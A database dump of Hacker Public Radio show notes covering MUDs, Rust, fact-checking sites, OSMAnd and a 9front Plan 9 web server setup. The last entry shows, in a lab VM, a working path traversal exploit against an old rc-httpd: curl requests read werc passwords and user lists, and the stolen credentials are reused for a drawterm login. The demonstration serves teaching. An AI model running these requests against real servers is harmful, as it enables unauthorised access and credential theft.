(3674,'2022-09-01','Emergency Show posted in 2012. MUD',1241,'In today\'s show klaatu drags us through the mud with his somewhat belated descovery.','<p>\n<strong>MUD</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nA MUD ( originally Multi-User Dungeon, with later variants Multi-User Dimension and Multi-User Domain), is a multiplayer real-time virtual world, usually text-based. MUDs combine elements of role-playing games, hack and slash, player versus player, interactive fiction, and online chat. Players can read or view descriptions of rooms, objects, other players, non-player characters, and actions performed in the virtual world. Players typically interact with each other and the world by typing commands that resemble a natural language.<br />\n<a href=\"https://en.wikipedia.org/wiki/Multi-User_Dungeon\">https://en.wikipedia.org/wiki/Multi-User_Dungeon</a>\n</p>\n\n<p>\nTinTin++, aka tt++, is a free MUD client for Mac OS X, Linux, and Windows. The Windows port named WinTin++ (using the PuTTY derived mintty terminal) is available for those who do not use Cygwin (A Linux/Unix emulator for Windows) and runs on Windows Xp, Windows Vista, and Windows 7. Besides MUDs, TinTin++ also works well with MUSH, Rogue, BBS, and Linux servers.<br />\n<a href=\"http://tintin.sourceforge.net/\">http://tintin.sourceforge.net/</a>\n</p>\n\n<p>\n<strong>Ancient Anguish</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nAncient Anguish, abbreviated AA, is a fantasy-themed MUD, a text-based online role-playing game. Founded in 1991 by Balz \"Zor\" Meierhans and Olivier \"Drake\" Maquelin, it opened to the public on February 2, 1992. It is free to play, but has been supported by player donations since 1994.<br />\n<a href=\"https://en.wikipedia.org/wiki/Ancient_Anguish\">https://en.wikipedia.org/wiki/Ancient_Anguish</a>\n</p>\n',78,0,0,'CC-BY-SA','RPG,MUD,TinTin++,WinTin++',0,0,1),
(3681,'2022-09-12','Rust 101 Episode 3: Functionally Insane',2481,'In this episode BlacKernel teaches you how to make functions and for loops in rust','<p>In this episode BlacKernel is back! (Although a lot more loopy than I remember being while recording)</p>\n<p>And teaching you how to make functions, for loops, and match statements in Rust.</p>\n<p>Points covered in this episode:</p>\n<ul>\n<li>isize and usize number types in rust</li>\n<li>fn (function) declarations with arguments and return types</li>\n<li>match statements both bare and part of variable assignment</li>\n<li>for _ in 1..x loops. That is for loops over an iterator variable across a range of integers.<br />\n</li>\n</ul>\n<p>Email: izzyleibowitz@pm.me<br />\nMastodon: <a href=\"https://nixnet.social/BlacKernel\" class=\"uri\">https://nixnet.social/BlacKernel</a></p>\n',396,25,1,'CC-BY-SA','rust, for loop, for, match, functions, loops, usize, isize, programming, tutorial',0,0,1),
(3697,'2022-10-04','Mis-information, Dis-information, and Fake News. You are a product and target for all of it.',4297,'Brady and I discuss Mis-information, Dis-information, and Fake News.','<p>Brady and I discuss Mis-information, Dis-information, and Fake News. We discuss what it is, how it is used, and we are all a product and target for all of it. We discuss ways to avoid deception which leads to a philosophical discussion about truth, morals, and ethics. Brady takes a moment on the couch discussing how understanding the matrix for what it is can affect you on a personal level.</p>\n<h2 id=\"links-and-resources\">Links and Resources:</h2>\n<p>Definitely NOT real NEWS, but FUN to read:</p>\n<ul>\n<li><p>The Onion <a href=\"https://www.theonion.com/\" class=\"uri\">https://www.theonion.com/</a></p></li>\n<li><p>The Weekly World News <a href=\"https://weeklyworldnews.com/\" class=\"uri\">https://weeklyworldnews.com/</a></p></li>\n<li><p>Mad Magazine <a href=\"https://www.madmagazine.com/\" class=\"uri\">https://www.madmagazine.com/</a></p></li>\n</ul>\n<h2 id=\"fight-disinformation-with-fact-checking-sites\">Fight Disinformation with Fact Checking Sites:</h2>\n<ul>\n<li><p>Snopes<br />\n(almost everything including politics, history, science, and technology)<br />\nSnopes is one of the oldest fact-checking websites on the internet and it was started by David and Barbara Mikkelson in 1994. Apart from its huge repository of debunked stories, Snopes still tackles fake news and misinformation in a smart way. As fake information is getting more sophisticated in its language and tone, users are easily falling for it. So to counter the misinformation, Snopes offers detailed explanations from genuine sources (like WHO, CDC) and sets the facts straight.<br />\n<a href=\"https://www.snopes.com/\" class=\"uri\">https://www.snopes.com/</a></p></li>\n<li><p>Politifact<br />\n(all about fact-checking political claims)<br />\nPolitiFact is one of the largest political fact-checking newsrooms in the US and for its impressive work in 2008, the website was awarded Pulitzer Prize for National Reporting. It&#x2019;s run by the prestigious Poynter Institute (founder of International Fact-Checking Network) and reporters from the independent Tampa Bay Times.<br />\n<a href=\"https://www.politifact.com/\" class=\"uri\">https://www.politifact.com/</a></p></li>\n<li><p>FactCheck.org<br />\n(political claims, rhetorics, deception, and lies)<br />\nPrimarily deals with political claims and rhetorics. However, the website also tries to bring accountability to public officials by exposing deception and their lies. It&#x2019;s an attempt to bring more factual accuracy to the public discourse which is not just limited to politics, but also extends to TV ads, speeches, interviews, and news releases.<br />\n<a href=\"https://www.factcheck.org/fake-news/\" class=\"uri\">https://www.factcheck.org/fake-news/</a></p></li>\n<li><p>ProPublica<br />\n(deep dive for hidden truth)<br />\nProPublica is an independent investigative online newsroom. More than a fact-checking website, but a portal where you can dive deep and find the hidden truth. For its far-reaching work in the public interest, ProPublica has been awarded several Pulitzer Prizes for public service, explanatory reporting, national reporting, and investigative journalism. As for the coverage, it goes beyond politics and looks into healthcare, education, finances, criminal justice and more. The website is funded by the Knight Foundation, MacArthur Foundation, Ford Foundation, and other few philanthropic institutes.<br />\n<a href=\"https://www.propublica.org/\" class=\"uri\">https://www.propublica.org/</a></p></li>\n<li><p>OpenSecrets<br />\n(politics)<br />\nOpenSecrets finds the effects of money lobbying into electoral politics and fact-checks political speeches and claims. It tracks how a politician is being funded and who are the firms that are funneling money into politics. It was started by the Center for Responsive Politics (CSR) way back in 1983. And as a result of the long operation, OpenSecrets has now one of the largest public databases of donors and political beneficiaries.<br />\n<a href=\"https://www.opensecrets.org/\" class=\"uri\">https://www.opensecrets.org/</a></p></li>\n<li><p>Washington Post Fact Checker<br />\n(critical analysis to what politicians have said this week)<br />\nFact-checking column under diplomatic correspondent, Glenn Kessler. It does not fact-check every claim on politics and economy, instead the website offers critical analysis to what politicians have said this week. It tries to underline facts and context against a seemingly factful narrative.<br />\n<a href=\"https://www.washingtonpost.com/news/fact-checker/\" class=\"uri\">https://www.washingtonpost.com/news/fact-checker/</a></p></li>\n<li><p>Full Fact<br />\n(Fact-checking website focused on the UK and Europe)<br />\nA one-stop online portal where you can find information on a wide variety of topics. Full Fact is quick to debunk claims with well-resourced articles and by citing research papers by academics and professionals. So, no matter if it&#x2019;s a post about technology, medicine or some supernatural power, Full Fact sets the facts straight in a timely manner. It&#x2019;s a team of independent fact-checkers and campaigners who find a multitude of viral posts from social media and expose them to counter misleading people on the internet. Full Fact runs a &#x201C;Viral Posts on Facebook&#x201D; page where it lists out all the outrageous claims and debunks them with detailed explanation and authentic sources.<br />\n<a href=\"https://fullfact.org/\" class=\"uri\">https://fullfact.org/</a> and for most recent <a href=\"https://fullfact.org/latest/\" class=\"uri\">https://fullfact.org/latest/</a></p></li>\n<li><p>Alt News<br />\n(fake claims and political misinformation in India)<br />\nAlt News is also one of the few fact-checking websites in India which is certified by IFCN (International Fact-Checking Network). It&#x2019;s run by Pravda Media Foundation and offers its fact-checking service in both English and Hindi. As for funding, Alt News primarily relies on user donations and other independent media trusts. The website is also in partnership with WhatsApp for busting fake news on its chat platform. Apart from that, Alt News regularly debunks claims made on social media platforms covering science, education, and society at large.<br />\n<a href=\"https://www.altnews.in/\" class=\"uri\">https://www.altnews.in/</a></p></li>\n<li><p>BOOM FactCheck<br />\n(fact-checking website in India)<br />\nThis is a fact-checking website in India that exposes fake news on digital platformsIt. BOOM is a signatory of the IFCN Code of Principles and sticks to a high standard of fact-checking methodology. The website is run by Data journalist, Govindraj Ethiraj who earlier worked at Bloomberg. And like other fact-checking websites, Boom also relies on ads and user donations. Apart from this, Boom has a tie-up with WhatsApp to fight the war of misinformation. Boom offers its service in three languages i.e. English, Hindi, and Bengali. Further, it covers the current news cycle, political rhetorics, viral claims made on social media, urban legends, myths, and rumors.<br />\n<a href=\"https://www.boomlive.in/\" class=\"uri\">https://www.boomlive.in/</a></p></li>\n<li><p>SM Hoax Slayer<br />\n(fake information on social media platforms)<br />\nSM Hoax Slayer is quick to debunk the claim and update the users through its social media channels. According to the founder, the project started as a place to puncture harmless lies, pranks, and rumors, but soon it developed into a full-fledged fact-checking website. Many mainstream newspapers and media houses including Aaj Tak and Navbharat Times cite SM Hoax Slayer as a reliable source for busting fake news. Coming to funding, SM Hoax Slayer is mostly run by volunteers and funded by user donations and ads.<br />\n<a href=\"https://smhoaxslayer.com/\" class=\"uri\">https://smhoaxslayer.com/</a></p></li>\n<li><p>Reuters Fact Check<br />\n(international news fact checking)<br />\n<a href=\"https://www.reuters.com/fact-check\" class=\"uri\">https://www.reuters.com/fact-check</a><br />\n</p></li>\n</ul>\n<h2 id=\"picks-of-the-week\">Picks of the Week:</h2>\n<ul>\n<li><p>Brady\'s Picks</p>\n<ul>\n<li><p>Tobii Pro: Optimizing User Experience and Advertising Research with Eye Tracking<br />\n<a href=\"https://youtu.be/ConsSlIf6n4\" class=\"uri\">https://youtu.be/ConsSlIf6n4</a></p></li>\n<li><p>Hotjar: Website Heatmaps &amp; Behavior Analytics Tools<br />\n<a href=\"https://www.hotjar.com/\" class=\"uri\">https://www.hotjar.com/</a></p></li>\n</ul></li>\n<li><p>Robert\'s Pick:</p>\n<ul>\n<li>House of the Dragon: The Game of Thrones prequel<br />\n<a href=\"https://www.hbo.com/house-of-the-dragon\" class=\"uri\">https://www.hbo.com/house-of-the-dragon</a></li>\n</ul></li>\n</ul>\n<h2 id=\"cool-shit\">Cool Shit:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,misinformation,disinformation,fakenews',0,0,1),
(3706,'2022-10-17','The Future of Technology',3054,'A philosophical look at the future of technology.','<p>Brady and I discuss people and technology; where it was, where we are, and where we are going. Put on your philosophy hats!</p>\n<h3 id=\"podcast-stuff\">Podcast Stuff:</h3>\n<ul>\n<li><p>Robert actually had an Atari 1200 XL:<br />\n<a href=\"http://oldcomputers.net/atari-1200xl.html\" class=\"uri\">http://oldcomputers.net/atari-1200xl.html</a></p></li>\n<li><p>Ray Ban Smart Glasses:<br />\n<a href=\"https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related\" class=\"uri\">https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related</a></p></li>\n<li><p>Google Glass is Back:<br />\n<a href=\"https://www.google.com/glass/start/\" class=\"uri\">https://www.google.com/glass/start/</a></p></li>\n<li><p>Microsoft Research:<br />\n<a href=\"https://www.microsoft.com/en-us/research/about-microsoft-research/\" class=\"uri\">https://www.microsoft.com/en-us/research/about-microsoft-research/</a></p></li>\n<li><p>Microsoft Open Source Blog:<br />\n<a href=\"https://cloudblogs.microsoft.com/opensource/\" class=\"uri\">https://cloudblogs.microsoft.com/opensource/</a></p></li>\n<li><p>Microsoft Open Source Hardware:<br />\n<a href=\"https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/\" class=\"uri\">https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/</a></p></li>\n</ul>\n<h3 id=\"picks-of-the-week\">Picks of the Week:</h3>\n<h4 id=\"bradys-picks\">Brady\'s Picks</h4>\n<ul>\n<li>Defeating the Hacker: A non-technical guide to computer security by Robert Schifreen<br />\n<a href=\"https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557\" class=\"uri\">https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557</a></li>\n</ul>\n<h4 id=\"roberts-pick\">Robert\'s Pick:</h4>\n<ul>\n<li>The Satanic Verses by Salman Rushdie<br />\n<a href=\"https://en.wikipedia.org/wiki/The_Satanic_Verses\" class=\"uri\">https://en.wikipedia.org/wiki/The_Satanic_Verses</a></li>\n</ul>\n<h3 id=\"cool-shit\">Cool Shit:</h3>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,technology,philosophy,future',0,0,1),
(3716,'2022-10-31','How I got in to Tech',531,'My journey in to technology','<p>I share my story about how I got in to technology.</p>\n',405,29,1,'CC-BY-SA','career,technology',0,0,1),
(3683,'2022-09-14','Add a favourite to OSMAnd',97,'Ken keeps forgetting how to add a favourite to OSMAnd','<p>I keep forgetting how to add a favorite to OSMAnd, so I\'ve recorded this show to remind myself how to do it.</p>\n\n<ol>\n<li>Search for a location, either in the Hamburger Menu or clicking the Magnifying glass icon</li>\n<li>Type in your address and select the place</li>\n<li>The screen will appear with a Locator Pin</li>\n<li>On the bottom click Add and Save</li>\n<li>You can optionally include them in a group</li>\n</ol>\n\n<p><img src=\"/eps/hpr3683/01.jpg\" alt=\"Click Search\" /></p>\n<p><img src=\"/eps/hpr3683/02.jpg\" alt=\"Or Menu Search\" /></p>\n<p><img src=\"/eps/hpr3683/03.jpg\" alt=\"Type address eg Amsterdam Centraal\" /></p>\n<p><img src=\"/eps/hpr3683/04.jpg\" alt=\"Locate address, and click Add\" /></p>\n<p><img src=\"/eps/hpr3683/05.jpg\" alt=\"Click Save\" /></p>\n\n<p>\nAbout <a href=\"https://en.wikipedia.org/wiki/OsmAnd\">https://en.wikipedia.org/wiki/OsmAnd</a><br />\n<em>\nOsmAnd is a map and navigation app for Android and iOS. It uses the OpenStreetMap map database for its primary displays, but is an independent app not endorsed by the OpenStreetMap Foundation</em>\n</p>\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://osmand.net/\">https://osmand.net/</a></li>\n<li><a href=\"https://f-droid.org/en/packages/net.osmand.plus/\">https://f-droid.org/en/packages/net.osmand.plus/\"</a></li>\n</ul>\n\n\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Open Street Maps, Android',0,0,1),
(3685,'2022-09-16','Budget and an Android app',122,'Zoho docs for budgeting','<h2 id=\"zoho-sheets\">Zoho sheets</h2>\n<p><a href=\"https://sheet.zoho.com\" title=\"Zoho Spreadsheet\">Zoho Sheets</a></p>\n<h2 id=\"zoho-android-app\">Zoho Android app</h2>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.zoho.sheet.android&amp;gl=US\" title=\"Zoho Sheets - Android app\">Zoho Sheets - Android app</a></p>\n<h4 id=\"places\">Places</h4>\n<ul>\n<li>Dropbox.com</li>\n<li>Box.com</li>\n</ul>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3685/Budget_sample_2022-9-9.ods\" title=\"Budget sample in LibreOffice dated 9-9-2022\">Budget sample from LibreOffice</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, Android',0,0,1),
(3684,'2022-09-15','Wake on Lan',602,'Wake on Lan mother board feature','<h2 id=\"wakeonlan-wol\">WakeOnLAN (WOL)</h2>\n<p>From <a href=\"https://wiki.wireshark.org/WakeOnLAN#:~:text=WakeOnLAN%20is%20the%20protocol%20name%20given%20to%20the,automatically%20powered-down%20because%20of%20its%20power%20management%20features\">wiki.wireshark.org</a></p>\n<blockquote>\n<p><em>WakeOnLAN is the protocol name given to the so-called Magic Packet technology, developed by AMD and Hewlett Packard for remotely waking up a remote host that may have been automatically powered-down because of its power management features. Although power management allows companies and individuals to cut power usage costs, it presents a problem for IT departments especially in being able to quickly and efficiently remotely manage PC\'s, especially during off-hours operation when those PC\'s are most likely to be in a suspended or standby state, assuming power management features are enabled.</em></p>\n</blockquote>\n',129,0,0,'CC-BY-SA','Wake on Lan, wol',0,0,1),
(3686,'2022-09-19',' Followup for HPR3675: Clarifications on the path traversal bug',2335,'installing a plan 9 cpu+web server, namespaces to the rescue, web app security models and more','<h1 id=\"followup-for-hpr3675-installing-a-plan-9-cpu-server-plan-9-web-server-clarifications-on-the-path-traversal-bug-private-namespaces-to-the-rescue-web-application-security-models\">Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models</h1>\n<hr />\n<h1 id=\"installing-plan-9-with-libvirt\">Installing Plan 9 with libvirt</h1>\n<pre class=\"sh\"><code>[root@localhost]# virt-install -n 9pwn \\\n--description &quot;pre-patched rc-httpd&quot; \\\n--osinfo=unknown \\\n--memory=4096 \\\n--vcpus=4 \\\n--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \\\n--graphics spice \\\n--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \\\n--network bridge=virbr0\n\n[root@localhost]# virt-viewer 9pwn\n</code></pre>\n<p>How I find the IP of my guests and add it to my /etc/hosts for faster access.</p>\n<pre class=\"sh\"><code>[root@localhost]# virsh domiflist 9pwn\n Interface   Type     Source   Model   MAC\n----------------------------------------------------------\n vnet3       bridge   virbr0   e1000   52:54:00:43:8a:50\n\n[root@localhost]# arp -e | grep 52:54:00:43:8a:50\n192.168.122.20           ether   52:54:00:43:8a:50   C                     virbr0\n\n[root@localhost]# echo cirno 192.168.122.20 &gt;&gt; /etc/hosts\n</code></pre>\n<p>Proceed as normal with a 9 installation</p>\n<hr />\n<h1 id=\"set-up-cpu-server-with-rc-httpd-and-werc\">Set up CPU server with rc-httpd and werc</h1>\n<p><a href=\"https://0x19.org/posts/2022-09-03.php\">I wrote about configuring a CPU server</a> and also mirrored the notes at <a href=\"https://9.0x19.org/9notes/9front-web-server\">my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it\'s fine)</a> I\'ve snarfed+pasted it here for the sake of completeness and modified it slightly so that it\'s more accessible for other people. I\'ve also revised these notes so that they\'re less-broken. I may or may not update them.</p>\n<p>I\'m using <a href=\"https://9front.org\">9front</a> for this. It has more secure authentication protocols when it comes to remotely connecting.</p>\n<h2 id=\"configuring-a-cpu-server\">Configuring a CPU server</h2>\n<h3 id=\"add-users-to-file-server\">Add users to file server</h3>\n<p>Connect to the file server and add a new user called <code>&lt;ExampleUser&gt;</code> who is in the groups <code>sys</code>, <code>adm</code>, and <code>upas</code></p>\n<pre class=\"sh\"><code>term% con -C /srv/cwfs.cmd\nnewuser &lt;ExampleUser&gt;\nnewuser sys +&lt;ExampleUser&gt;\nnewuser adm +&lt;ExampleUser&gt;\nnewuser upas +&lt;ExampleUser&gt;\n</code></pre>\n<p>Reboot and set <code>user=&lt;ExampleUser&gt;</code> when prompted at boot time.</p>\n<h3 id=\"configure-users-environment\">Configure user\'s environment</h3>\n<p>This is similar to <code>cp -r /etc/skel /home/&lt;ExampleUser&gt;</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>/sys/lib/newuser\n</code></pre>\n<h3 id=\"configure-headless-booting\">Configure headless booting</h3>\n<p>Mount the boot partition:</p>\n<pre class=\"sh\"><code>term% 9fs 9fat\n</code></pre>\n<p>edit the boot config, <code>/n/9fat/plan9.ini</code></p>\n<pre class=\"sh\"><code>bootfile=9pc64\nnobootprompt=local!/dev/sdC0/fscache\nmouseport=ps2\nmonitor=vesa\nvgasize=1024x768x14\nuser=&lt;ExampleUser&gt;\ntiltscreen=none\nservice=cpu\n</code></pre>\n<h3 id=\"add-hostowner-info-to-nvram\">Add hostowner info to nvram</h3>\n<p>Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The <code>user=</code> line in our bootprompt sets the hostowner.</p>\n<p>For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner\'s key to nvram.</p>\n<pre class=\"sh\"><code>term% nvram=/dev/sdF0/nvram auth/wrkey\nbad nvram des key\nbad authentication id\nbad authentication domain\nauthid: &lt;ExampleUser&gt;\nauthdom: cirno\nsecstore key: &lt;press the return key if you do not want to type this at boot time&gt;\npassword: &lt;make it 8 chars&gt;\n</code></pre>\n<h3 id=\"configure-auth-server\">Configure auth server</h3>\n<p>In order to connect to the system over the network, the new user must be added to the auth server.</p>\n<pre class=\"sh\"><code>term% auth/keyfs\nterm% auth/changeuser &lt;ExampleUser&gt;\nPassword: &lt;what you put earlier&gt;\nConfirm password:\nAssign new Inferno/POP secret? [y/n]: n\nExpiration date (YYYYMMDD or never) [never]: never\nPost id:\nUser&#39;s full name:\nDepartment #:\nUser&#39;s email address:\nSponsor&#39;s email address:\nuser &lt;ExampleUser&gt; installed for Plan 9\n</code></pre>\n<h3 id=\"configure-permissions\">Configure permissions</h3>\n<p><code>/lib/ndb/auth</code> is similar to a <code>/etc/sudoers</code>. This configuration for the new user allows him to execute commands as other users <em>except</em> for the <code>sys</code> and <code>adm</code> users (but sys and adm are more like groups but who cares).</p>\n<p>append to <code>/lib/ndb/auth</code></p>\n<pre class=\"sh\"><code>hostid=&lt;ExampleUser&gt;\n    uid=!sys uid=!adm uid=*\n</code></pre>\n<p>then reboot</p>\n<h3 id=\"test-if-it-worked-with-drawterm\">Test if it worked with drawterm</h3>\n<p>The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won\'t work.</p>\n<pre class=\"sh\"><code>$ /opt/drawterm -u &lt;ExampleUser&gt; -h example.com -a example.com -r ~/\n</code></pre>\n<h2 id=\"configure-rc-httpd\">Configure rc-httpd</h2>\n<p>edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<p>this file is something like <code>/etc/httpd.conf</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>#!/bin/rc\nPATH_INFO=$location\n\n        switch($SERVER_NAME) {\n        case example.com\n               FS_ROOT=/sys/www/$SERVER_NAME\n               exec static-or-index\n\n        case *\n              error 503\n}\n</code></pre>\n<p>To listen on port 80 and run the handler on port 80:</p>\n<pre class=\"sh\"><code>cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80\ncpu% chmod +x /rc/bin/rc-httpd/select-handler\n</code></pre>\n<p>Reboot and test.</p>\n<h3 id=\"ssl\">SSL</h3>\n<p>I will never give money to the CA racket. Self-signed is the way to go on systems that don\'t support <a href=\"https://acme.sh\">acme.sh, the only ACME client I use for obtaining free SSL certs.</a></p>\n<p>Generate and install:</p>\n<pre class=\"sh\"><code>cpu% ramfs -p\ncpu% cd /tmp\ncpu% auth/rsagen -t &#39;service=tls role=client owner=*&#39; &gt; key\ncpu% chmod 600 key\ncpu% cp key /sys/lib/tls/key\ncpu% auth/rsa2x509 &#39;C=US CN=example.com&#39; /sys/lib/tls/key | auth/pemencode CERTIFICATE &gt; /sys/lib/tls/cert\ncpu% mkdir /cfg/$sysname\ncpu% echo &#39;cat /sys/lib/tls/key &gt;&gt; /mnt/factotum/ctl&#39; &gt;&gt; /cfg/$sysname/cpustart\n</code></pre>\n<p>Now add a listener in <code>/rc/bin/service/tcp443</code>:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nexec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*\n</code></pre>\n<p>And make it executable:</p>\n<pre class=\"sh\"><code>cpu% chmod +x /rc/bin/service/tcp443\n</code></pre>\n<h2 id=\"install-and-configure-werc\">Install and configure werc</h2>\n<pre class=\"sh\"><code>cpu% cd\ncpu% mkdir /sys/www &amp;&amp; cd www\ncpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz  &gt; werc-1.5.0.tgz\ncpu% tar xzf werc-1.5.0.tgz\ncpu% mv werc-1.5.0 werc\n\n# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK\n# EG. DIRDIR, BLAGH, ETC\n# DON&#39;T DO THIS, JUST USE DRAWTERM OVER THE NETWORK\n# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK\n# PLEASE I BEG YOU\ncpu% cd .. &amp;&amp; for (i in `{du www | awk &#39;{print $2}&#39;}) chmod 777 $i\n\ncpu% cd werc/sites/\ncpu% mkdir example.com\ncpu% mv default.cat-v.org example.com\n</code></pre>\n<p>now re-edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<pre class=\"sh\"><code>#!/bin/rc\nWERC=/sys/www/werc\nPLAN9=/\nPATH_INFO=$location\nswitch($SERVER_NAME){\ncase cirno\n        FS_ROOT=$WERC/sites/$SERVER_NAME\n        exec static-or-cgi $WERC/bin/werc.rc\ncase *\n        error 503\n}\n</code></pre>\n<p>Test the website. Werc is fiddly. Werc is archaic. Werc is fun.</p>\n<hr />\n<h1 id=\"path-traversal-vulnerabilities-in-old-versions-of-rc-httpd\">Path traversal vulnerabilities in old versions of rc-httpd</h1>\n<p>Using release <a href=\"https://9front.org/releases/2021/07/18/0/\">COMMUNITY VS INFRASTRUCTURE</a>, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.</p>\n<h2 id=\"the-vulnerability\">The vulnerability</h2>\n<pre class=\"sh\"><code># get list of werc admin users\n[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members\npwn\n# get that werc user&#39;s password\n[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password\nsupersecret\n</code></pre>\n<p>Wait, the passwords for werc are stored in plain text? Let\'s log in</p>\n<pre class=\"sh\"><code>[root@localhost]# firefox http://cirno/_users/login\n</code></pre>\n<p>Now let\'s see if any of the werc users are also system users:</p>\n<pre class=\"sh\"><code># let&#39;s enumerate users\n[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users\n-1:adm:adm:glenda,pwn\n0:none::\n1:tor:tor:\n2:glenda:glenda:\n3:pwn:pwn:\n10000:sys::glenda,pwn\n10001:map:map:\n10002:doc::\n10003:upas:upas:glenda,pwn\n10004:font::\n10005:bootes:bootes:\n</code></pre>\n<p>Let\'s hope that no one is re-using credentials. Let\'s check just to be sure</p>\n<pre class=\"sh\"><code>$ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G\ncpu% cat /env/sysname\ncirno\ncpu%\n</code></pre>\n<p><strong>This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords</strong></p>\n<h2 id=\"how-the-static-or-cgi-handler-works\">How the static-or-cgi handler works</h2>\n<p>rc-httpd calls various <em>handler</em> scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the <code>static-or-cgi</code> script.</p>\n<p>I will compile these archaic rc scripts into pseudo code for the listener.</p>\n<p>The <code>static-or-cgi</code> handler (the handler specified in the httpd config) is simple:</p>\n<pre class=\"sh\"><code>#!/bin/rc\ncgiargs=$*\n\nfn error{\n    if(~ $1 404)\n        exec cgi $cgiargs\n    if not\n        $rc_httpd_dir/handlers/error $1\n}\n\nif(~ $location */)\n    exec cgi $cgiargs\nif not\n    exec serve-static\n</code></pre>\n<ol>\n<li>If the requested file exists, call the <code>cgi</code> handler and pass it arguments.</li>\n<li>If the requested file does not exist, call the <code>serve-static</code> handler.</li>\n</ol>\n<h2 id=\"how-the-serve-static-handler-works\">How the serve-static handler works</h2>\n<p>The problem lies in the <code>serve-static</code> handler:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nfull_path=`{echo $&quot;FS_ROOT^$&quot;PATH_INFO | urlencode -d}\nfull_path=$&quot;full_path\nif(~ $full_path */)\n    error 503\nif(test -d $full_path){\n    redirect perm $&quot;location^&#39;/&#39; \\\n        &#39;URL not quite right, and browser did not accept redirect.&#39;\n    exit\n}\nif(! test -e $full_path){\n    error 404\n    exit\n}\nif(! test -r $full_path){\n    error 503\n    exit\n}\ndo_log 200\nswitch($full_path){\ncase *.html *.htm\n        type=text/html\ncase *.css\n        type=text/css\ncase *.txt *.md\n        type=text/plain\ncase *.jpg *.jpeg\n        type=image/jpeg\ncase *.gif\n        type=image/gif\ncase *.png\n        type=image/png\ncase *\n        type=`{file -m $full_path}\n}\nif(~ $type text/*)\n    type=$type^&#39;; charset=utf-8&#39;\nmax_age=3600    # 1 hour\necho &#39;HTTP/1.1 200 OK&#39;^$cr\nemit_extra_headers\necho &#39;Content-type: &#39;^$type^$cr\necho &#39;Content-length: &#39;^`{ls -l $full_path | awk &#39;{print $6}&#39;}^$cr\necho &#39;Cache-control: max-age=&#39;^$max_age^$cr\necho $cr\nexec cat $full_path\n</code></pre>\n<ol>\n<li>encode the full file path into a url</li>\n<li>if the url points to a file outside of <code>\'*/\'</code>, the document root, error 503</li>\n<li>if the url is broken, exit</li>\n<li>if the url points to a file that neither exists nor is readable, error 503</li>\n<li>if you 